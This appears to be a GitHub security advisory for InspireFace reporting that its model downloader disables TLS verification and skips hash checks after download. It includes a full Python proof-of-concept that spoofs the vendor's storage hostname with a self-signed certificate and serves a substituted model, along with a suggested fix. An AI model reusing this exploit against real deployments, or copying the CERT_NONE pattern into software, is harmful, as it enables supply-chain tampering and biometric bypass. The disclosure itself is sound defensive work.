Skip to content

[security]ssl.CERT_NONE model download with no post-download hash verification enables supply-chain MITM #341

Description

@AAtomical

Summary

InspireFace's model download function (resource.py:get_model()) unconditionally disables TLS certificate verification and performs no hash check on downloaded content. A network-position attacker replaces the face recognition model in transit with an arbitrary payload. The application loads the attacker-controlled model without any integrity verification.

Affected Version

Root Cause

# resource.py:160-163
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE

req = urllib.request.Request(model_info["url"], headers=headers)
with urllib.request.urlopen(req, context=ssl_context) as response:
    ...
    f.write(buffer)

# After download completes:
downloading_flag.unlink()
return str(model_file)  # ← returned directly, NO hash verification

The existing hash check (current_hash == model_info["md5"]) only executes when a cached file already exists — it determines whether to re-download. A freshly downloaded file is never verified.

Steps to Reproduce

python poc.py
#!/usr/bin/env python3
import subprocess, sys, os
subprocess.run([sys.executable, "-m", "pip", "install", "-q",
                "inspireface @ git+https://github.com/HyperInspire/InspireFace.git#subdirectory=python",
                "cryptography"], check=True)
import importlib.util, site
for sp in site.getsitepackages():
    rp = os.path.join(sp, "inspireface", "modules", "utils", "resource.py")
    if os.path.exists(rp):
        spec = importlib.util.spec_from_file_location("inspireface_resource", rp)
        resource_mod = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(resource_mod)
        break
else:
    sys.exit("cannot find inspireface resource.py")

ResourceManager = resource_mod.ResourceManager
set_use_oss_download = resource_mod.set_use_oss_download

import http.server, json, ssl, socket, tempfile, threading, time, warnings
from datetime import datetime, timedelta, timezone
warnings.filterwarnings("ignore")

ATTACKER_HOST = "127.0.0.1"
ATTACKER_PORT = 19451
MALICIOUS_MODEL = b"\x00EVIL_MODEL_PAYLOAD" + os.urandom(1024)
captured = []


def gen_cert(tmp):
    from cryptography import x509
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.x509.oid import NameOID
    key = rsa.generate_private_key(65537, 2048)
    cert = (x509.CertificateBuilder()
            .subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "inspireface-1259028827.cos.ap-singapore.myqcloud.com")]))
            .issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "inspireface-1259028827.cos.ap-singapore.myqcloud.com")]))
            .public_key(key.public_key()).serial_number(x509.random_serial_number())
            .not_valid_before(datetime.now(timezone.utc))
            .not_valid_after(datetime.now(timezone.utc) + timedelta(days=1))
            .sign(key, hashes.SHA256()))
    cp, kp = os.path.join(tmp, "cert.pem"), os.path.join(tmp, "key.pem")
    with open(cp, "wb") as f: f.write(cert.public_bytes(serialization.Encoding.PEM))
    with open(kp, "wb") as f: f.write(key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption()))
    return cp, kp


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append({"path": self.path, "headers": dict(self.headers)})
        self.send_response(200)
        self.send_header("Content-Length", str(len(MALICIOUS_MODEL)))
        self.end_headers()
        self.wfile.write(MALICIOUS_MODEL)
    def log_message(self, *a): pass


def run_server(cert, key, ready):
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(cert, key)
    srv = http.server.HTTPServer((ATTACKER_HOST, ATTACKER_PORT), Handler)
    srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
    ready.set()
    srv.handle_request()


def exploit():
    tmp = tempfile.mkdtemp()
    cert, key = gen_cert(tmp)
    ready = threading.Event()
    threading.Thread(target=run_server, args=(cert, key, ready), daemon=True).start()
    ready.wait()

    # Force OSS download mode (not ModelScope)
    set_use_oss_download(True)

    # Patch model URL to point to attacker
    rm = ResourceManager.__new__(ResourceManager)
    rm.user_home = resource_mod.Path.home()
    rm.base_dir = resource_mod.Path(tmp) / '.inspireface'
    rm.models_dir = rm.base_dir / 'models'
    rm.use_modelscope = False
    rm.base_dir.mkdir(exist_ok=True)
    rm.models_dir.mkdir(exist_ok=True)
    rm._MODEL_LIST = {
        "Pikachu": {
            "url": f"https://{ATTACKER_HOST}:{ATTACKER_PORT}/inspireface_modelzoo/t4/Pikachu",
            "filename": "Pikachu",
            "md5": "0000000000000000000000000000000000000000000000000000000000000000",
        }
    }
  model_path = rm.get_model("Pikachu")

    with open(model_path, "rb") as f:
        content = f.read()
    assert b"EVIL_MODEL_PAYLOAD" in content
    assert len(captured) == 1
    actual_hash = resource_mod.get_file_hash_sha256(model_path)
    assert actual_hash != rm._MODEL_LIST["Pikachu"]["md5"]
  import urllib.request
    try:
        ctx = ssl.create_default_context()
        req = urllib.request.Request(f"https://{ATTACKER_HOST}:{ATTACKER_PORT}/test")
        urllib.request.urlopen(req, context=ctx, timeout=3)
        assert False
    except (ssl.SSLCertVerificationError, ssl.SSLError, Exception):
        pass

    print("3/3 exploited")
    print(f"  model: {len(content)}B injected → {model_path}")
    print(f"  hash:  expected={rm._MODEL_LIST['Pikachu']['md5'][:16]}... actual={actual_hash[:16]}... (no check!)")
    print(f"  control: proper SSL rejects self-signed cert")
    return 0

if __name__ == "__main__":
    sys.exit(exploit())

Output:

Image

Impact

  1. Face authentication bypass: Attacker replaces the face recognition model → model always returns "match" for attacker's face → bypass biometric auth
  2. Inference poisoning: Backdoored model returns incorrect detections on specific inputs
  3. Code execution: If the model format allows arbitrary code (e.g. pickle-based), attacker achieves RCE on model load
  4. Persistent: Malicious model is cached to ~/.inspireface/models/ — persists across restarts. The hash check on re-launch compares against the expected hash, detects mismatch, and re-downloads... through the same CERT_NONE path.

Suggested Fix

  1. Remove ssl.CERT_NONE — use default verification:
ssl_context = ssl.create_default_context()
  1. Add post-download hash verification:
actual_hash = get_file_hash_sha256(model_file)
if actual_hash != model_info["md5"]:
    model_file.unlink()
    raise RuntimeError(f"Downloaded model hash mismatch: expected {model_info['md5']}, got {actual_hash}")

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions